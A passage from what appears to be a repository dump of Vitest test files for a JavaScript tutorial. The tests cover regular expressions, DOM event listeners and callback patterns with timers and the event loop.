expect(pattern.test('abbbbc')).toBe(true)\n    })\n\n    it('should match 1 or more with +', () => {\n      const pattern = /ab+c/\n      expect(pattern.test('ac')).toBe(false)\n      expect(pattern.test('abc')).toBe(true)\n      expect(pattern.test('abbbbc')).toBe(true)\n    })\n\n    it('should match 0 or 1 with ?', () => {\n      const pattern = /colou?r/\n      expect(pattern.test('color')).toBe(true)\n      expect(pattern.test('colour')).toBe(true)\n      expect(pattern.test('colouur')).toBe(false)\n    })\n\n    it('should match exact count with {n}', () => {\n      const pattern = /\\d{4}/\n      expect(pattern.test('2024')).toBe(true)\n      expect(pattern.test('123')).toBe(false)\n    })\n\n    it('should match range with {n,m}', () => {\n      const pattern = /\\d{2,4}/\n      expect('1'.match(pattern)).toBe(null)\n      expect('12'.match(pattern)[0]).toBe('12')\n      expect('12345'.match(pattern)[0]).toBe('1234')\n    })\n\n    it('should match n or more with {n,}', () => {\n      const pattern = /\\d{2,}/\n      expect(pattern.test('1')).toBe(false)\n      expect(pattern.test('12')).toBe(true)\n      expect(pattern.test('12345')).toBe(true)\n    })\n  })\n\n  describe('Anchors', () => {\n    it('should match start of string with ^', () => {\n      const pattern = /^Hello/\n      expect(pattern.test('Hello World')).toBe(true)\n      expect(pattern.test('Say Hello')).toBe(false)\n    })\n\n    it('should match end of string with $', () => {\n      const pattern = /World$/\n      expect(pattern.test('Hello World')).toBe(true)\n      expect(pattern.test('World Hello')).toBe(false)\n    })\n\n    it('should match entire string with ^ and $', () => {\n      const pattern = /^\\d+$/\n      expect(pattern.test('12345')).toBe(true)\n      expect(pattern.test('123abc')).toBe(false)\n      expect(pattern.test('abc123')).toBe(false)\n    })\n\n    it('should match word boundaries with \\\\b', () => {\n      const pattern = /\\bcat\\b/\n      expect(pattern.test('cat')).toBe(true)\n      expect(pattern.test('the cat sat')).toBe(true)\n      expect(pattern.test('category')).toBe(false)\n      expect(pattern.test('concatenate')).toBe(false)\n    })\n  })\n\n  describe('Methods', () => {\n    describe('test()', () => {\n      it('should return true for matches', () => {\n        expect(/\\d+/.test('123')).toBe(true)\n      })\n\n      it('should return false for non-matches', () => {\n        expect(/\\d+/.test('abc')).toBe(false)\n      })\n    })\n\n    describe('match()', () => {\n      it('should return first match without g flag', () => {\n        const result = 'cat and cat'.match(/cat/)\n        expect(result[0]).toBe('cat')\n        expect(result.index).toBe(0)\n      })\n\n      it('should return all matches with g flag', () => {\n        const result = 'cat and cat'.match(/cat/g)\n        expect(result).toEqual(['cat', 'cat'])\n      })\n\n      it('should return null when no match', () => {\n        expect('hello'.match(/\\d+/)).toBe(null)\n      })\n    })\n\n    describe('replace()', () => {\n      it('should replace first match without g flag', () => {\n        expect('hello world'.replace(/o/, '0')).toBe('hell0 world')\n      })\n\n      it('should replace all matches with g flag', () => {\n        expect('hello world'.replace(/o/g, '0')).toBe('hell0 w0rld')\n      })\n\n      it('should use captured groups in replacement', () => {\n        expect('John Smith'.replace(/(\\w+) (\\w+)/, '$2, $1')).toBe('Smith, John')\n      })\n    })\n\n    describe('split()', () => {\n      it('should split by regex pattern', () => {\n        expect('a, b, c'.split(/,\\s*/)).toEqual(['a', 'b', 'c'])\n      })\n\n      it('should split on whitespace', () => {\n        expect('hello   world  foo'.split(/\\s+/)).toEqual(['hello', 'world', 'foo'])\n      })\n    })\n\n    describe('exec()', () => {\n      it('should return match with details', () => {\n        const result = /\\d+/.exec('abc123def')\n        expect(result[0]).toBe('123')\n        expect(result.index).toBe(3)\n      })\n\n      it('should return null for no match', () => {\n        expect(/\\d+/.exec('abc')).toBe(null)\n      })\n    })\n  })\n\n  describe('Flags', () => {\n    it('should match case-insensitively with i flag', () => {\n      const pattern = /hello/i\n      expect(pattern.test('HELLO')).toBe(true)\n      expect(pattern.test('Hello')).toBe(true)\n      expect(pattern.test('hello')).toBe(true)\n    })\n\n    it('should find all matches with g flag', () => {\n      const pattern = /a/g\n      expect('banana'.match(pattern)).toEqual(['a', 'a', 'a'])\n    })\n\n    it('should match line boundaries with m flag', () => {\n      const text = 'line1\\nline2\\nline3'\n      const pattern = /^line\\d/gm\n      expect(text.match(pattern)).toEqual(['line1', 'line2', 'line3'])\n    })\n\n    it('should combine multiple flags', () => {\n      const pattern = /hello/gi\n      expect('Hello HELLO hello'.match(pattern)).toEqual(['Hello', 'HELLO', 'hello'])\n    })\n  })\n\n  describe('Capturing Groups', () => {\n    it('should capture groups with parentheses', () => {\n      const pattern = /(\\d{3})-(\\d{4})/\n      const match = '555-1234'.match(pattern)\n      expect(match[0]).toBe('555-1234')\n      expect(match[1]).toBe('555')\n      expect(match[2]).toBe('1234')\n    })\n\n    it('should support named groups', () => {\n      const pattern = /(?<area>\\d{3})-(?<number>\\d{4})/\n      const match = '555-1234'.match(pattern)\n      expect(match.groups.area).toBe('555')\n      expect(match.groups.number).toBe('1234')\n    })\n\n    it('should use groups in replace with $n', () => {\n      const result = '12-25-2024'.replace(\n        /(\\d{2})-(\\d{2})-(\\d{4})/,\n        '$3/$1/$2'\n      )\n      expect(result).toBe('2024/12/25')\n    })\n\n    it('should use named groups in replace', () => {\n      const result = '12-25-2024'.replace(\n        /(?<month>\\d{2})-(?<day>\\d{2})-(?<year>\\d{4})/,\n        '$<year>/$<month>/$<day>'\n      )\n      expect(result).toBe('2024/12/25')\n    })\n\n    it('should support non-capturing groups with (?:)', () => {\n      const pattern = /(?:ab)+/\n      const match = 'ababab'.match(pattern)\n      expect(match[0]).toBe('ababab')\n      expect(match[1]).toBeUndefined()\n    })\n  })\n\n  describe('Greedy vs Lazy', () => {\n    it('should match greedily by default', () => {\n      const html = '<div>Hello</div><div>World</div>'\n      const greedy = /<div>.*<\\/div>/\n      expect(html.match(greedy)[0]).toBe('<div>Hello</div><div>World</div>')\n    })\n\n    it('should match lazily with ?', () => {\n      const html = '<div>Hello</div><div>World</div>'\n      const lazy = /<div>.*?<\\/div>/\n      expect(html.match(lazy)[0]).toBe('<div>Hello</div>')\n    })\n\n    it('should find all lazy matches with g flag', () => {\n      const html = '<div>Hello</div><div>World</div>'\n      const lazy = /<div>.*?<\\/div>/g\n      expect(html.match(lazy)).toEqual(['<div>Hello</div>', '<div>World</div>'])\n    })\n  })\n\n  describe('Common Patterns', () => {\n    it('should validate basic email format', () => {\n      const email = /^[^\\s@]+@[^\\s@]+\\.[^\\s@]+$/\n      expect(email.test('user@example.com')).toBe(true)\n      expect(email.test('user.name@example.co.uk')).toBe(true)\n      expect(email.test('invalid-email')).toBe(false)\n      expect(email.test('missing@domain')).toBe(false)\n      expect(email.test('@missing-local.com')).toBe(false)\n    })\n\n    it('should validate URL format', () => {\n      const url = /^https?:\\/\\/[^\\s]+$/\n      expect(url.test('https://example.com')).toBe(true)\n      expect(url.test('http://example.com/path')).toBe(true)\n      expect(url.test('ftp://example.com')).toBe(false)\n      expect(url.test('not a url')).toBe(false)\n    })\n\n    it('should validate US phone number formats', () => {\n      const phone = /^(\\(\\d{3}\\)|\\d{3})[-.\\s]?\\d{3}[-.\\s]?\\d{4}$/\n      expect(phone.test('555-123-4567')).toBe(true)\n      expect(phone.test('(555) 123-4567')).toBe(true)\n      expect(phone.test('555.123.4567')).toBe(true)\n      expect(phone.test('5551234567')).toBe(true)\n      expect(phone.test('55-123-4567')).toBe(false)\n    })\n\n    it('should validate username format', () => {\n      const username = /^[a-zA-Z0-9_]{3,16}$/\n      expect(username.test('john_doe')).toBe(true)\n      expect(username.test('user123')).toBe(true)\n      expect(username.test('ab')).toBe(false) // too short\n      expect(username.test('this_is_way_too_long_username')).toBe(false) // too long\n      expect(username.test('invalid-user')).toBe(false) // hyphen not allowed\n    })\n\n    it('should extract hashtags from text', () => {\n      const hashtags = /#\\w+/g\n      const text = 'Learning #JavaScript and #regex is fun! #coding'\n      expect(text.match(hashtags)).toEqual(['#JavaScript', '#regex', '#coding'])\n    })\n\n    it('should extract numbers from text', () => {\n      const numbers = /\\d+/g\n      const text = 'I have 42 apples and 7 oranges'\n      expect(text.match(numbers)).toEqual(['42', '7'])\n    })\n  })\n\n  describe('Edge Cases', () => {\n    it('should escape special characters in RegExp constructor', () => {\n      const searchTerm = 'hello.world'\n      const escaped = searchTerm.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\$&')\n      const pattern = new RegExp(escaped)\n      expect(pattern.test('hello.world')).toBe(true)\n      expect(pattern.test('helloXworld')).toBe(false)\n    })\n\n    it('should handle empty strings', () => {\n      expect(/.*/.test('')).toBe(true)\n      expect(/.+/.test('')).toBe(false)\n      const emptyMatch = ''.match(/\\d*/)\n      expect(emptyMatch[0]).toBe('')\n    })\n\n    it('should handle alternation with |', () => {\n      const pattern = /cat|dog|bird/\n      expect(pattern.test('I have a cat')).toBe(true)\n      expect(pattern.test('I have a dog')).toBe(true)\n      expect(pattern.test('I have a fish')).toBe(false)\n    })\n\n    it('should handle backreferences', () => {\n      const pattern = /(\\w+)\\s+\\1/\n      expect(pattern.test('hello hello')).toBe(true)\n      expect(pattern.test('hello world')).toBe(false)\n    })\n  })\n})\n"
  },
  {
    "path": "tests/async-javascript/callbacks/callbacks.dom.test.js",
    "content": "/**\n * @vitest-environment jsdom\n */\nimport { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n\n// ============================================================\n// DOM EVENT HANDLER CALLBACKS\n// From callbacks.mdx lines 401-434\n// Pattern 1: Event Handlers\n// ============================================================\n\ndescribe('DOM Event Handler Callbacks', () => {\n  let button\n  \n  beforeEach(() => {\n    // Create a fresh button element for each test\n    button = document.createElement('button')\n    button.id = 'myButton'\n    document.body.appendChild(button)\n  })\n  \n  afterEach(() => {\n    // Clean up\n    document.body.innerHTML = ''\n  })\n  \n  // From lines 405-416: DOM events with addEventListener\n  it('should execute callback when button is clicked', () => {\n    const output = []\n    \n    // DOM events\n    const button = document.getElementById('myButton')\n    \n    button.addEventListener('click', function handleClick(event) {\n      output.push('Button clicked!')\n      output.push(`Event type: ${event.type}`)      // \"click\"\n      output.push(`Target id: ${event.target.id}`)  // \"myButton\"\n    })\n    \n    // The callback receives an Event object with details about what happened\n    \n    // Simulate click\n    button.click()\n    \n    expect(output).toEqual([\n      'Button clicked!',\n      'Event type: click',\n      'Target id: myButton'\n    ])\n  })\n  \n  // From lines 420-434: Named functions for reusability and removal\n  it('should use named functions for reusability', () => {\n    const output = []\n    \n    function handleClick(event) {\n      output.push(`Clicked: ${event.target.id}`)\n    }\n    \n    function handleMouseOver(event) {\n      output.push(`Mouseover: ${event.target.id}`)\n    }\n    \n    button.addEventListener('click', handleClick)\n    button.addEventListener('mouseover', handleMouseOver)\n    \n    // Simulate events\n    button.click()\n    button.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }))\n    \n    expect(output).toEqual([\n      'Clicked: myButton',\n      'Mouseover: myButton'\n    ])\n  })\n  \n  it('should remove event listeners with removeEventListener', () => {\n    const output = []\n    \n    function handleClick(event) {\n      output.push('Clicked!')\n    }\n    \n    button.addEventListener('click', handleClick)\n    \n    // First click - handler is attached\n    button.click()\n    expect(output).toEqual(['Clicked!'])\n    \n    // Later, you can remove them:\n    button.removeEventListener('click', handleClick)\n    \n    // Second click - handler is removed\n    button.click()\n    expect(output).toEqual(['Clicked!'])  // Still just one, handler was removed\n  })\n  \n  it('should demonstrate multiple event listeners on same element', () => {\n    const output = []\n    \n    button.addEventListener('click', () => output.push('Handler 1'))\n    button.addEventListener('click', () => output.push('Handler 2'))\n    button.addEventListener('click', () => output.push('Handler 3'))\n    \n    button.click()\n    \n    // All handlers execute in order of registration\n    expect(output).toEqual(['Handler 1', 'Handler 2', 'Handler 3'])\n  })\n  \n  it('should demonstrate event object properties in callback', () => {\n    const eventData = {}\n    \n    button.addEventListener('click', function(event) {\n      eventData.type = event.type\n      eventData.target = event.target\n      eventData.currentTarget = event.currentTarget\n      eventData.bubbles = event.bubbles\n      eventData.cancelable = event.cancelable\n    })\n    \n    button.click()\n    \n    expect(eventData.type).toBe('click')\n    expect(eventData.target).toBe(button)\n    expect(eventData.currentTarget).toBe(button)\n    expect(eventData.bubbles).toBe(true)\n    expect(eventData.cancelable).toBe(true)\n  })\n  \n  it('should demonstrate event delegation pattern with callbacks', () => {\n    // Create a list with items\n    const list = document.createElement('ul')\n    list.id = 'myList'\n    \n    const item1 = document.createElement('li')\n    item1.textContent = 'Item 1'\n    item1.dataset.id = '1'\n    \n    const item2 = document.createElement('li')\n    item2.textContent = 'Item 2'\n    item2.dataset.id = '2'\n    \n    list.appendChild(item1)\n    list.appendChild(item2)\n    document.body.appendChild(list)\n    \n    const clickedItems = []\n    \n    // Event delegation - single handler on parent\n    list.addEventListener('click', function(event) {\n      if (event.target.tagName === 'LI') {\n        clickedItems.push(event.target.dataset.id)\n      }\n    })\n    \n    item1.click()\n    item2.click()\n    \n    expect(clickedItems).toEqual(['1', '2'])\n  })\n  \n  it('should demonstrate this context in event handler callbacks', () => {\n    const results = []\n    \n    // Regular function - 'this' is the element\n    button.addEventListener('click', function(event) {\n      results.push(`Regular: ${this.id}`)\n    })\n    \n    // Arrow function - 'this' is NOT the element (inherited from outer scope)\n    button.addEventListener('click', (event) => {\n      // In this context, 'this' would be the module/global scope\n      results.push(`Arrow target: ${event.target.id}`)\n    })\n    \n    button.click()\n    \n    expect(results).toEqual([\n      'Regular: myButton',\n      'Arrow target: myButton'\n    ])\n  })\n  \n  it('should demonstrate once option for single-fire callbacks', () => {\n    const output = []\n    \n    button.addEventListener('click', () => {\n      output.push('Clicked!')\n    }, { once: true })\n    \n    button.click()\n    button.click()\n    button.click()\n    \n    // Handler only fires once\n    expect(output).toEqual(['Clicked!'])\n  })\n  \n  it('should demonstrate preventing default with callbacks', () => {\n    const form = document.createElement('form')\n    const submitEvents = []\n    let defaultPrevented = false\n    \n    form.addEventListener('submit', function(event) {\n      event.preventDefault()\n      defaultPrevented = event.defaultPrevented\n      submitEvents.push('Form submitted')\n    })\n    \n    // Dispatch a submit event\n    const submitEvent = new Event('submit', { cancelable: true })\n    form.dispatchEvent(submitEvent)\n    \n    expect(submitEvents).toEqual(['Form submitted'])\n    expect(defaultPrevented).toBe(true)\n  })\n  \n  it('should demonstrate stopping propagation in callbacks', () => {\n    const output = []\n    \n    // Create nested elements\n    const outer = document.createElement('div')\n    const inner = document.createElement('div')\n    outer.appendChild(inner)\n    document.body.appendChild(outer)\n    \n    outer.addEventListener('click', () => output.push('Outer clicked'))\n    inner.addEventListener('click', (event) => {\n      event.stopPropagation()\n      output.push('Inner clicked')\n    })\n    \n    inner.click()\n    \n    // Only inner handler fires due to stopPropagation\n    expect(output).toEqual(['Inner clicked'])\n  })\n})\n"
  },
  {
    "path": "tests/async-javascript/callbacks/callbacks.test.js",
    "content": "import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n\ndescribe('Callbacks', () => {\n  \n  // ============================================================\n  // OPENING EXAMPLES\n  // From callbacks.mdx lines 9-22, 139-155\n  // ============================================================\n  \n  describe('Opening Examples', () => {\n    beforeEach(() => {\n      vi.useFakeTimers()\n    })\n    \n    afterEach(() => {\n      vi.useRealTimers()\n    })\n    \n    // From lines 9-22: Why doesn't JavaScript wait?\n    it('should demonstrate setTimeout non-blocking behavior', async () => {\n      const output = []\n      \n      output.push('Before timer')\n      \n      setTimeout(function() {\n        output.push('Timer fired!')\n      }, 1000)\n      \n      output.push('After timer')\n      \n      // Before timer advances, only sync code has run\n      expect(output).toEqual(['Before timer', 'After timer'])\n      \n      // After 1 second\n      await vi.advanceTimersByTimeAsync(1000)\n      \n      // Output:\n      // Before timer\n      // After timer\n      // Timer fired! (1 second later)\n      expect(output).toEqual(['Before timer', 'After timer', 'Timer fired!'])\n    })\n    \n    // From lines 139-155: Restaurant buzzer analogy\n    it('should demonstrate restaurant buzzer analogy with eatBurger callback', async () => {\n      const output = []\n      \n      // You place your order (start async operation)\n      setTimeout(function eatBurger() {\n        output.push('Eating my burger!')  // This is the callback\n      }, 5000)\n      \n      // You go sit down (your code continues)\n      output.push('Sitting down, checking my phone...')\n      output.push('Chatting with friends...')\n      output.push('Reading the menu...')\n      \n      // Before timer fires\n      expect(output).toEqual([\n        'Sitting down, checking my phone...',\n        'Chatting with friends...',\n        'Reading the menu...'\n      ])\n      \n      // After 5 seconds\n      await vi.advanceTimersByTimeAsync(5000)\n      \n      // Output:\n      // Sitting down, checking my phone...\n      // Chatting with friends...\n      // Reading the menu...\n      // Eating my burger! (5 seconds later)\n      expect(output).toEqual([\n        'Sitting down, checking my phone...',\n        'Chatting with friends...',\n        'Reading the menu...',\n        'Eating my burger!'\n      ])\n    })\n  })\n  \n  // ============================================================\n  // WHAT IS A CALLBACK\n  // From callbacks.mdx lines 48-91\n  // ============================================================\n  \n  describe('What is a Callback', () => {\n    // From lines 48-61: greet and processUserInput example\n    it('should execute greet callback passed to processUserInput', () => {\n      const output = []\n      \n      // greet is a callback function\n      function greet(name) {\n        output.push(`Hello, ${name}!`)\n      }\n      \n      // processUserInput accepts a callback\n      function processUserInput(callback) {\n        const name = 'Alice'\n        callback(name)  // \"calling back\" the function we received\n      }\n      \n      processUserInput(greet)  // \"Hello, Alice!\"\n      \n      expect(output).toEqual(['Hello, Alice!'])\n    })\n    \n    // From lines 73-91: Callbacks can be anonymous\n    it('should work with anonymous function callbacks', () => {\n      const output = []\n      \n      // Simulating addEventListener behavior for testing\n      function simulateAddEventListener(event, callback) {\n        callback()\n      }\n      \n      // Named function as callback\n      function handleClick() {\n        output.push('Clicked!')\n      }\n      simulateAddEventListener('click', handleClick)\n      \n      // Anonymous function as callback\n      simulateAddEventListener('click', function() {\n        output.push('Clicked!')\n      })\n      \n      // Arrow function as callback\n      simulateAddEventListener('click', () => {\n        output.push('Clicked!')\n      })\n      \n      // All three do the same thing\n      expect(output).toEqual(['Clicked!', 'Clicked!', 'Clicked!'])\n    })\n  })\n  \n  // ============================================================\n  // CALLBACKS AND HIGHER-ORDER FUNCTIONS\n  // From callbacks.mdx lines 166-198\n  // ============================================================\n  \n  describe('Callbacks and Higher-Order Functions', () => {\n    // From lines 166-176: forEach is a higher-order function\n    it('should demonstrate forEach as a higher-order function', () => {\n      const output = []\n      \n      // forEach is a HIGHER-ORDER FUNCTION (it accepts a function)\n      // The arrow function is the CALLBACK (it's being passed in)\n      \n      const numbers = [1, 2, 3]\n      \n      numbers.forEach((num) => {    // <- This is the callback\n        output.push(num * 2)\n      })\n      // 2, 4, 6\n      \n      expect(output).toEqual([2, 4, 6])\n    })\n    \n    // From lines 180-198: filter, map, find, sort with users array\n    it('should demonstrate filter, map, find, sort with users array', () => {\n      const users = [\n        { name: 'Alice', age: 25 },\n        { name: 'Bob', age: 17 },\n        { name: 'Charlie', age: 30 }\n      ]\n      \n      // filter accepts a callback that returns true/false\n      const adults = users.filter(user => user.age >= 18)\n      expect(adults).toEqual([\n        { name: 'Alice', age: 25 },\n        { name: 'Charlie', age: 30 }\n      ])\n      \n      // map accepts a callback that transforms each element\n      const names = users.map(user => user.name)\n      expect(names).toEqual(['Alice', 'Bob', 'Charlie'])\n      \n      // find accepts a callback that returns true when found\n      const bob = users.find(user => user.name === 'Bob')\n      expect(bob).toEqual({ name: 'Bob', age: 17 })\n      \n      // sort accepts a callback that compares two elements\n      const byAge = [...users].sort((a, b) => a.age - b.age)\n      expect(byAge).toEqual([\n        { name: 'Bob', age: 17 },\n        { name: 'Alice', age: 25 },\n        { name: 'Charlie', age: 30 }\n      ])\n    })\n  })\n  \n  // ============================================================\n  // SYNCHRONOUS VS ASYNCHRONOUS CALLBACKS\n  // From callbacks.mdx lines 214-310\n  // ============================================================\n  \n  describe('Synchronous Callbacks', () => {\n    // From lines 214-236: Synchronous callbacks execute immediately\n    it('should execute map callbacks synchronously and in order', () => {\n      const output = []\n      \n      const numbers = [1, 2, 3, 4, 5]\n      \n      output.push('Before map')\n      \n      const doubled = numbers.map(num => {\n        output.push(`Doubling ${num}`)\n        return num * 2\n      })\n      \n      output.push('After map')\n      output.push(JSON.stringify(doubled))\n      \n      // Output (all synchronous, in order):\n      // Before map\n      // Doubling 1\n      // Doubling 2\n      // Doubling 3\n      // Doubling 4\n      // Doubling 5\n      // After map\n      // [2, 4, 6, 8, 10]\n      expect(output).toEqual([\n        'Before map',\n        'Doubling 1',\n        'Doubling 2',\n        'Doubling 3',\n        'Doubling 4',\n        'Doubling 5',\n        'After map',\n        '[2,4,6,8,10]'\n      ])\n      \n      expect(doubled).toEqual([2, 4, 6, 8, 10])\n    })\n    \n    // From lines 287-295: Synchronous callback - try/catch WORKS\n    it('should catch errors in synchronous callbacks with try/catch', () => {\n      let caughtMessage = null\n      \n      // Synchronous callback - try/catch WORKS\n      try {\n        [1, 2, 3].forEach(num => {\n          if (num === 2) throw new Error('Found 2!')\n        })\n      } catch (error) {\n        caughtMessage = error.message  // \"Caught: Found 2!\"\n      }\n      \n      expect(caughtMessage).toBe('Found 2!')\n    })\n  })\n  \n  describe('Asynchronous Callbacks', () => {\n    beforeEach(() => {\n      vi.useFakeTimers()\n    })\n    \n    afterEach(() => {\n      vi.useRealTimers()\n    })\n    \n    // From lines 249-262: Even with 0ms delay, callback runs after sync code\n    it('should execute setTimeout callbacks after synchronous code even with 0ms delay', async () => {\n      const output = []\n      \n      output.push('Before setTimeout')\n      \n      setTimeout(() => {\n        output.push('Inside setTimeout')\n      }, 0)  // Even with 0ms delay!\n      \n      output.push('After setTimeout')\n      \n      // Before timer fires\n      expect(output).toEqual(['Before setTimeout', 'After setTimeout'])\n      \n      await vi.advanceTimersByTimeAsync(0)\n      \n      // Output:\n      // Before setTimeout\n      // After setTimeout\n      // Inside setTimeout (runs AFTER all sync code)\n      expect(output).toEqual([\n        'Before setTimeout',\n        'After setTimeout',\n        'Inside setTimeout'\n      ])\n    })\n    \n    // From lines 297-306: Asynchronous callback - try/catch DOES NOT WORK!\n    it('should demonstrate that try/catch cannot catch async callback errors', async () => {\n      // This test verifies the concept that try/catch doesn't work for async callbacks\n      // In real code, the error would crash the program\n      \n      let tryCatchRan = false\n      const asyncCallback = vi.fn()\n      \n      // Asynchronous callback - try/catch DOES NOT WORK!\n      try {\n        setTimeout(() => {\n          asyncCallback()\n          // throw new Error('Async error!')  // This error escapes!\n        }, 100)\n      } catch (error) {\n        // This will NEVER run\n        tryCatchRan = true\n      }\n      \n      // The try/catch completes immediately, before the callback even runs\n      expect(tryCatchRan).toBe(false)\n      expect(asyncCallback).not.toHaveBeenCalled()\n      \n      await vi.advanceTimersByTimeAsync(100)\n      \n      // Now the callback has run, but the try/catch is long gone\n      expect(asyncCallback).toHaveBeenCalled()\n    })\n  })\n  \n  // ============================================================\n  // HOW CALLBACKS WORK WITH THE EVENT LOOP\n  // From callbacks.mdx lines 355-393\n  // ============================================================\n  \n  describe('Event Loop Examples', () => {\n    beforeEach(() => {\n      vi.useFakeTimers()\n    })\n    \n    afterEach(() => {\n      vi.useRealTimers()\n    })\n    \n    // From lines 355-387: Event loop trace example\n    it('should demonstrate event loop execution order', async () => {\n      const output = []\n      \n      output.push('1: Script start')\n      \n      setTimeout(function first() {\n        output.push('2: First timeout')\n      }, 0)\n      \n      setTimeout(function second() {\n        output.push('3: Second timeout')\n      }, 0)\n      \n      output.push('4: Script end')\n      \n      // Execution order:\n      // 1. console.log('1: Script start') - runs immediately\n      // 2. setTimeout(first, 0) - registers first callback with Web APIs\n      // 3. setTimeout(second, 0) - registers second callback with Web APIs\n      // 4. console.log('4: Script end') - runs immediately\n      // 5. Call stack is now empty\n      // 6. Event Loop checks Task Queue - finds first\n      // 7. first() runs -> \"2: First timeout\"\n      // 8. Event Loop checks Task Queue - finds second\n      // 9. second() runs -> \"3: Second timeout\"\n      \n      // Before timers fire - only sync code has run\n      expect(output).toEqual(['1: Script start', '4: Script end'])\n      \n      await vi.advanceTimersByTimeAsync(0)\n      \n      // Output:\n      // 1: Script start\n      // 4: Script end\n      // 2: First timeout\n      // 3: Second timeout\n      expect(output).toEqual([\n        '1: Script start',\n        '4: Script end',\n        '2: First timeout',\n        '3: Second timeout'\n      ])\n    })\n  })\n  \n  // ============================================================\n  // COMMON CALLBACK PATTERNS\n  // From callbacks.mdx lines 397-537\n  // ============================================================\n  \n  describe('Common Callback Patterns', () => {\n    beforeEach(() => {\n      vi.useFakeTimers()\n    })\n    \n    afterEach(() => {\n      vi.useRealTimers()\n    })\n    \n    // Pattern 2: Timers (lines 436-479)\n    \n    // From lines 440-447: setTimeout runs once after delay\n    it('should run setTimeout callback once after delay', async () => {\n      const output = []\n      \n      // setTimeout - runs once after delay\n      const timeoutId = setTimeout(function() {\n        output.push('This runs once after 2 seconds')\n      }, 2000)\n      \n      expect(output).toEqual([])\n      \n      await vi.advanceTimersByTimeAsync(2000)\n      \n      expect(output).toEqual(['This runs once after 2 seconds'])\n    })\n    \n    // From lines 447: Cancel timeout before it runs\n    it('should cancel setTimeout with clearTimeout', async () => {\n      const callback = vi.fn()\n      \n      // Cancel it before it runs\n      const timeoutId = setTimeout(function() {\n        callback()\n      }, 2000)\n      \n      clearTimeout(timeoutId)\n      \n      await vi.advanceTimersByTimeAsync(2000)\n      \n      expect(callback).not.toHaveBeenCalled()\n    })\n    \n    // From lines 449-459: setInterval runs repeatedly\n    it('should run setInterval callback repeatedly until cleared', async () => {\n      const output = []\n      \n      // setInterval - runs repeatedly\n      let count = 0\n      const intervalId = setInterval(function() {\n        count++\n        output.push(`Count: ${count}`)\n        \n        if (count >= 5) {\n          clearInterval(intervalId)  // Stop after 5 times\n          output.push('Done!')\n        }\n      }, 1000)\n      \n      await vi.advanceTimersByTimeAsync(5000)\n      \n      expect(output).toEqual([\n        'Count: 1',\n        'Count: 2',\n        'Count: 3',\n        'Count: 4',\n        'Count: 5',\n        'Done!'\n      ])\n    })\n    \n    // From lines 464-479: Passing arguments to timer callbacks\n    it('should pass arguments to setTimeout callbacks using closure', async () => {\n      const output = []\n      \n      // Method 1: Closure (most common)\n      const name = 'Alice'\n      setTimeout(function() {\n        output.push(`Hello, ${name}!`)\n      }, 1000)\n      \n      await vi.advanceTimersByTimeAsync(1000)\n      \n      expect(output).toEqual(['Hello, Alice!'])\n    })\n    \n    it('should pass arguments to setTimeout callbacks using extra arguments', async () => {\n      const output = []\n      \n      // Method 2: setTimeout's extra arguments\n      setTimeout(function(greeting, name) {\n        output.push(`${greeting}, ${name}!`)\n      }, 1000, 'Hello', 'Bob')  // Extra args passed to callback\n      \n      await vi.advanceTimersByTimeAsync(1000)\n      \n      expect(output).toEqual(['Hello, Bob!'])\n    })\n    \n    it('should pass arguments to setTimeout callbacks using arrow function with closure', async () => {\n      const output = []\n      \n      // Method 3: Arrow function with closure\n      const user = { name: 'Charlie' }\n      setTimeout(() => output.push(`Hi, ${user.name}!`), 1000)\n      \n      await vi.advanceTimersByTimeAsync(1000)\n      \n      expect(output).toEqual(['Hi, Charlie!'])\n    })\n    \n    // Pattern 3: Array Iteration (lines 481-512)\n    \n    // From lines 485-512: products array examples\n    it('should demonstrate array iteration callbacks with products array', () => {\n      const products = [\n        { name: 'Laptop', price: 999, inStock: true },\n        { name: 'Phone', price: 699, inStock: false },\n        { name: 'Tablet', price: 499, inStock: true }\n      ]\n      \n      // forEach - do something with each item\n      const forEachOutput = []\n      products.forEach(product => {\n        forEachOutput.push(`${product.name}: $${product.price}`)\n      })\n      expect(forEachOutput).toEqual([\n        'Laptop: $999',\n        'Phone: $699',\n        'Tablet: $499'\n      ])\n      \n      // map - transform each item into something new\n      const productNames = products.map(product => product.name)\n      // ['Laptop', 'Phone', 'Tablet']\n      expect(productNames).toEqual(['Laptop', 'Phone', 'Tablet'])\n      \n      // filter - keep only items that pass a test\n      const available = products.filter(product => product.inStock)\n      // [{ name: 'Laptop', ... }, { name: 'Tablet', ... }]\n      expect(available).toEqual([\n        { name: 'Laptop', price: 999, inStock: true },\n        { name: 'Tablet', price: 499, inStock: true }\n      ])\n      \n      // find - get the first item that passes a test\n      const phone = products.find(product => product.name === 'Phone')\n      // { name: 'Phone', price: 699, inStock: false }\n      expect(phone).toEqual({ name: 'Phone', price: 699, inStock: false })\n      \n      // reduce - combine all items into a single value\n      const totalValue = products.reduce((sum, product) => sum + product.price, 0)\n      // 2197\n      expect(totalValue).toBe(2197)\n    })\n    \n    // Pattern 4: Custom Callbacks (lines 514-537)\n    \n    // From lines 518-537: fetchUserData custom callback\n    it('should demonstrate custom callback pattern with fetchUserData', async () => {\n      const output = []\n      \n      // A function that does something and then calls you back\n      function fetchUserData(userId, callback) {\n        // Simulate async operation\n        setTimeout(function() {\n          const user = { id: userId, name: 'Alice', email: 'alice@example.com' }\n          callback(user)\n        }, 1000)\n      }\n      \n      // Using the function\n      fetchUserData(123, function(user) {\n        output.push(`Got user: ${user.name}`)\n      })\n      output.push('Fetching user...')\n      \n      // Before timer fires\n      expect(output).toEqual(['Fetching user...'])\n      \n      await vi.advanceTimersByTimeAsync(1000)\n      \n      // Output:\n      // Fetching user...\n      // Got user: Alice (1 second later)\n      expect(output).toEqual(['Fetching user...', 'Got user: Alice'])\n    })\n  })\n  \n  // ============================================================\n  // THE ERROR-FIRST CALLBACK PATTERN\n  // From callbacks.mdx lines 541-654\n  // ============================================================\n  \n  describe('Error-First Callback Pattern', () => {\n    beforeEach(() => {\n      vi.useFakeTimers()\n    })\n    \n    afterEach(() => {\n      vi.useRealTimers()\n    })\n    \n    // From lines 547-553: Error-first callback signature\n    it('should demonstrate error-first callback signature', () => {\n      // Error-first callback signature\n      // function callback(error, result) {\n      //   // error: null/undefined if success, Error object if failure\n      //   // result: the data if success, usually undefined if failure\n      // }\n      \n      let receivedError = 'not called'\n      let receivedResult = 'not called'\n      \n      function callback(error, result) {\n        receivedError = error\n        receivedResult = result\n      }\n      \n      // Success case\n      callback(null, 'success 